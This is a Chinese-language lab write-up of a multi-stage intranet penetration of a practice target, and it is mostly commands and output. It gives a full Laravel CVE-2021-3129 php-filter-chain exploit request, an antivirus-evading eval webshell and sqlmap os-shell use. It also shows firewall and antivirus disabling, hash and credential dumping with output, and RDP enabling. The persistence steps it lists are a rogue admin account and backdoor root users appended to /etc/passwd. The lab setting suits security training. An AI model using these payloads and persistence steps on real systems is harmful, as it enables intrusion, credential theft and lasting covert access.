此环境是没有域的 纯是内网
目标ip 192.168.52.130
fscan扫一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ┌──(root㉿kali)-[~/vulntarget] └─# ./fscan_amd64 -h 192.168.52.130 -p 1-65535
___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.2 start infoscan (icmp) Target 192.168.52.130 is alive [*] Icmp alive hosts len is: 1 192.168.52.130:80 open 192.168.52.130:22 open
|
这里的话就开放了两个端口
80端口是存在一个laravel的一个CVE 2021-3129
这个直接去网上招poc来打就行 但是这里的话我就直接用N1CTF的一道题的方法来打 就是php-filter-chain
抓包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| POST /_ignition/execute-solution HTTP/1.1 Host: 192.168.52.130 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/json Content-Length: 162
{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "php://filter/convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/var/www/html/public/index.php" } }
|
使用php-filter-chain生成自己想要的命令后然后传入就行了
然后上蚁剑就行了
低权限 尝试提权 先上线viper
直接跑提权模块 sudo suid 啥的 也可以看看 但是这个里一般先跑这个 看看内核有没有可利用的漏洞
1
| search post/multi/recon/local_exploit_suggester
|
然后跑出了我们的老伙伴
然后直接跑这个exp就行了
靶机可能没打坏了 打到底还是没root权限 不过不影响
收集一下信息
1 2 3 4 5 6 7 8 9 10 11 12
| 2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 00:0c:29:ce:01:48 brd ff:ff:ff:ff:ff:ff inet 192.168.52.130/24 brd 192.168.52.255 scope global dynamic ens33 valid_lft 1690sec preferred_lft 1690sec inet6 fe80::20c:29ff:fece:148/64 scope link valid_lft forever preferred_lft forever 3: ens38: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 00:0c:29:ce:01:52 brd ff:ff:ff:ff:ff:ff inet 10.0.20.141/24 brd 10.0.20.255 scope global ens38 valid_lft forever preferred_lft forever inet6 fe80::20c:29ff:fece:152/64 scope link valid_lft forever preferred_lft forever
|
一共是有两个地址
1 2
| 192.168.52.130 10.0.20.141
|
扫一下内网发现是只扫到了我们的这台机器 猜测是开启了防火墙 于是只扫端口来判断是否存在其他主机
1
| ./fs* -h 10.0.20.0/24 -np -p 21,22,80,81,135,137,139,445,1357,3306,8080,8081
|
扫描结果发现是存在两个ip 一个是本机的ip 一个是内网其他主机的ip 并且开放了80端口 存在web界面
挂个代理进行访问
后台存在弱口令 admin/admin123 进去 然后就去搜索这个框架的漏洞 发现存在sql注入
https://www.exploit-db.com/exploits/50644 这篇文章就是
抓个包 然后丢到sqlmap来跑
1
| proxychains sqlmap -r sql.txt --os-shell
|
他一共是上传了两个马子 一个马子是可以上传文件 一个马子是可以后门(可惜的是不能连蚁剑)
而且呢 经过测试发现 这里的话是存在waf的 就是上传一般的webshell是会被查杀的
1
| 例如一句话这种 <?php eval($_POST[1]);?>
|
所以这里的话得上免杀马 (这里用的是作者wp里给的马 )
1 2
| echo ^<^?php $a = $_REQUEST['d'];$a = "$a";$b['test'] = "";eval($b['test']."$a");?^>^ > test.php
|
其实这里也有两个马子 这里就不放出来了
然后上蚁剑就行了
成功上线 由于这台机器是这个windows机器 于是尝试跑一下tasklist 看看有没有杀软
发现是存在windows的自带的杀软 defend (这里本来是想使用修改注册表的方法来关掉这个杀软 但是发现不行 )
于是开始上免杀了 这里的使用的是掩日的本地隔离方法来做免杀
1 2
| 先关闭防火墙 netsh advfirewall set allprofiles state off
|
然后上传免杀过的exe文件 (先生成c文件 然后免杀生成exe文件)
使用方法 Df6.exe Df6.txt
主机成功的上线 然后开始收集信息
1 2 3 4 5
| hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dfc8d2bfa540a0a6e2248a82322e654e::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| creds_all
meterpreter > creds_all [+] Running as SYSTEM [*] Retrieving all credentials msv credentials ===============
Username Domain NTLM SHA1 -------- ------ ---- ---- Administrator WIN-JJJBQ4N87RA dfc8d2bfa540a0a6e2248a82322e654e cfa10f59337120a5ea6882b11c1c9f451f5f4ea6
wdigest credentials ===================
Username Domain Password -------- ------ -------- (null) (null) (null) Administrator WIN-JJJBQ4N87RA (null) WIN-JJJBQ4N87RA$ WORKGROUP (null)
kerberos credentials ====================
Username Domain Password -------- ------ -------- (null) (null) (null) Administrator WIN-JJJBQ4N87RA (null) win-jjjbq4n87ra$ WORKGROUP (null)
|
这里其实拿到了这个system权限 这个管理员的密码知不知道其实无所谓了 我们都可以直接改了(或者新增管理员用户进去了)
1
| run killav //上线meterpreter 获取高权限后可以关闭杀软 (记录一个命令)
|
然后开启3389端口 rdp进去看看
(防火墙也要记得关了)
1 2 3 4 5 6
| reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
|
1 2 3 4 5 6
| 修改本地管理员账号 net user administrator qwer1234!
新添加本地管理员账户 net user Ke1nys qwer1234! /add net localgroup administrators Ke1nys /add
|
随便选个账户登进去就行了
这里最好还是选择 第一个用本地管理员账户登录 因为这样的话能看到原始的桌面上的东西 用新账号的话就会出现新的桌面 空白的 还得取翻目录 比较麻烦
登录进去后 发现有个ssh管理工具 然后有个ip
然后这样就可以拿到账号密码了 (其实账号密码就是刚开始的管理员密码 Admin#123)
这是一种拿到该机器root的方法 (挂fscan扫出来也是内网就这个一台机器)
接下是挂二级代理将该ip给外带出来到viper上
设置好二级代理后 直接上viper设置监听
注意好设置 然后开启监听 生成elf文件
这里注意一点就是 先将elf文件转换成base64编码 然后再传入该机器中 这样才会避免呗defender查杀
md 不管了 反正思路就是这个思路 可能靶机被我打坏了
然后还是和第一个靶机一样 跑suggester来提权到root就行 结束
接下来是记录一点东西
除了定时任务和写ssh当后门外 还有一个方法是往/etc/passwd中写东西
1 2 3 4 5 6 7 8 9 10 11 12 13
| 生成密码: openssl passwd -1 -salt admin 123456 -1 的意思是使用md5crypt加密算法 -salt 指定盐为admin 123456 明文密码
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /etc/passwd
echo "cshm:x:0:0::/:/bin/sh" >> /etc/passwd #增加超级用户账号 passwd cshm #修改cshm的密码为cshm123
echo "wxg:x:1000:1000::/:/bin/sh" >> /etc/passwd #增加普通用户账号 passwd wxg #修改wxg的密码为wxg147258369
|
总结 有几点好处就是体会到了免杀 之前打的靶机全是那种理想环境 (缺点就是没有域环境)